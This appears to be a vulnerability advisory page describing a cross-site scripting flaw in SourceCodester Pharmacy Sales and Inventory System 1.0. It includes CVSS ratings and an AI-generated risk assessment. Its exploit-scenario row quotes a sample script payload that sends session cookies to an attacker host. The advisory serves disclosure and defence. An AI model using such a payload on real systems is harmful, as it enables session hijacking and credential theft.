EUVD-2026-33620
GHSA-cvf2-cgfw-jqr4
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
2DescriptionCVE.org
A vulnerability has been found in SourceCodester Pharmacy Sales and Inventory System 1.0. This affects the function create_medicine_presentation of the file /ShowForm/create_medicine_presentation/main. The manipulation of the argument medicine_presentation leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.
AnalysisAI
Stored or reflected cross-site scripting in SourceCodester Pharmacy Sales and Inventory System 1.0 allows a low-privileged authenticated remote attacker to inject malicious JavaScript via the medicine_presentation argument in the create_medicine_presentation function at /ShowForm/create_medicine_presentation/main. Exploitation requires a victim user to interact with the affected page, limiting blast radius but still enabling session hijacking, credential theft, or UI redirection against authenticated users. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the attacker to hold at least a low-privileged authenticated account on the Pharmacy Sales and Inventory System (PR:L per CVSS vector) - unauthenticated access to the vulnerable form is not sufficient. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS base score of 3.5 (Low) accurately reflects constrained real-world impact: the attack vector is network-accessible (AV:N) with low complexity (AC:L), but requires low-level authentication (PR:L) and victim user interaction (UI:R), substantially reducing opportunistic exploitation potential. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated low-privileged user - such as a pharmacy clerk with a standard account - submits a crafted medicine presentation entry containing an injected JavaScript payload (e.g., `<script>document.location='http://attacker.com/?c='+document.cookie</script>`) via the `medicine_presentation` form field. When a higher-privileged user such as an administrator subsequently views the affected record, the malicious script executes in their browser, exfiltrating session cookies to an attacker-controlled server. … |
| Remediation | No vendor-released patch has been identified at the time of analysis - the SourceCodester project page (https://www.sourcecodester.com/) does not publish a security advisory or patched release. … Detailed patch versions, workarounds, and compensating controls in full report. |
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